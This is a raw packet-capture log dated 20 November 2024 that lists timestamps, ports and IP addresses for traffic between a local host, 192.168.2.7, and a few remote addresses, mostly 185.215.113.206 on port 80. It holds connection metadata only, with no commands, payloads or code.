Nov 20, 2024 21:05:45.588437080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.588984966 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.589036942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.589082956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.590066910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.590132952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.590270042 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.590358973 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.590780020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.590826988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.591221094 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.591265917 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.591674089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.591768980 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.591821909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.591872931 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.592680931 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.592727900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.592786074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.592834949 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.593630075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.593800068 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.593910933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.593961000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.594383001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.594424963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.594538927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.594579935 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.595304012 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.595354080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.595480919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.595520020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.596209049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.596252918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.596729040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.596770048 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.597086906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.597129107 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.597182989 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.597229004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.597929001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.599124908 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.743936062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.887104988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.011473894 CET	443	49825	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:46.012619972 CET	49825	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:46.012634039 CET	443	49825	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:46.013005972 CET	443	49825	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:46.013355017 CET	49825	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:46.013422012 CET	443	49825	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:46.058794022 CET	443	49826	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:46.059079885 CET	49826	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:46.059088945 CET	443	49826	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:46.059439898 CET	443	49826	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:46.059806108 CET	49826	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:46.059874058 CET	443	49826	172.64.41.3	192.168.2.7
Nov 20, 2024 21:05:46.063837051 CET	49825	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:46.109771967 CET	49826	443	192.168.2.7	172.64.41.3
Nov 20, 2024 21:05:46.150552034 CET	49835	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:46.150609970 CET	443	49835	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:46.150703907 CET	49835	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:46.152508020 CET	49835	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:46.152522087 CET	443	49835	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:46.211926937 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.212160110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.212183952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.212301016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.212337017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.212359905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.212430000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.212434053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.212522030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.213310957 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.213582993 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.213798046 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.214242935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.214361906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.214416027 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.214416981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.215085983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.215231895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.215375900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.215564966 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.216015100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.216300011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.216417074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.216854095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.217032909 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.217386961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.217538118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.217827082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.218054056 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.218132019 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.218251944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.218719959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.218736887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.218803883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.219567060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.219924927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.220025063 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.220448971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.220567942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.220748901 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.220822096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.221334934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.221524000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.221677065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.222254992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.222285986 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.222435951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.222738028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.222794056 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.223112106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.223243952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.223275900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.223323107 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.224113941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.224129915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.224188089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.224188089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.224946022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.225085020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.225116968 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.225219011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.225855112 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.225941896 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.225965977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.226213932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.226730108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.226845026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.226996899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.227062941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.227641106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.227781057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.227859974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.228024006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.228645086 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.228893042 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.229068041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.229254007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.229418993 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.229516029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.229635954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.229742050 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.230441093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.230518103 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.230699062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.230797052 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.231590986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.231693029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.232122898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.232137918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.232189894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.232189894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.232388973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.232475042 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.234877110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.234952927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.234967947 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.234985113 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.235057116 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.235065937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.235073090 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.235090017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.235145092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.235145092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.235805035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.235975981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.236001015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.236057043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.236712933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.236939907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.237036943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.237431049 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.237623930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.237786055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.237945080 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.238009930 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.238456011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.238553047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.238689899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.238822937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.239291906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.239363909 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.239536047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.239651918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.240284920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.240387917 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.240952969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.241013050 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.241134882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.241149902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.241204977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.241205931 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.241959095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.242047071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.242316961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.242404938 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.242887974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.243071079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.243181944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.243331909 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.243818998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.243887901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.244344950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.244537115 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.244716883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.244733095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.244868040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.245599031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.245760918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.245917082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.246045113 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.246486902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.246501923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.246639013 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.247498989 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.247560024 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.247817039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.247876883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.248286963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.248450994 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.249186039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.249202013 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.249325037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.249397993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.249397993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.250063896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.250118971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.250181913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.250356913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.251091003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.251385927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.251699924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.251764059 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.251882076 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.251997948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.252010107 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.252126932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.252779007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.252918005 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.253096104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.253238916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.253654003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.253861904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.254198074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.254365921 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.254538059 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.254659891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.254673958 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.254812002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.255491018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.255506039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.255649090 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.256426096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.256584883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.256618023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.256716013 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.257311106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.257447004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.257848978 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.257983923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.258194923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.258297920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.258738041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.258905888 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.259022951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.259109974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.404030085 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.404218912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.404299974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.404335976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.404354095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.404377937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.404407978 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.404407978 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.405200958 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.405284882 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.405471087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.405734062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.406075954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.406303883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.406459093 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.406935930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.407100916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.407124043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.407249928 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.407964945 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.408109903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.408113956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.408179998 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.408771038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.408786058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.408847094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.408847094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.409640074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.409822941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.409862995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.410067081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.410559893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.410799026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.411170006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.411411047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.411483049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.411499023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.411549091 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.411549091 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.412332058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.412539005 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.412693024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.412920952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.413237095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.413292885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.413357019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.413357019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.414149046 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.414469004 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.414524078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.414634943 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.415086985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.415172100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.415239096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.415929079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.415998936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.416028023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.416167974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.416814089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.416836977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.416877031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.416913033 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.417753935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.417990923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.418005943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.418109894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.418657064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.418778896 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.419274092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.419559956 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.419576883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.419615984 CET	49780	80	192.168.2.7	185.215.113.206
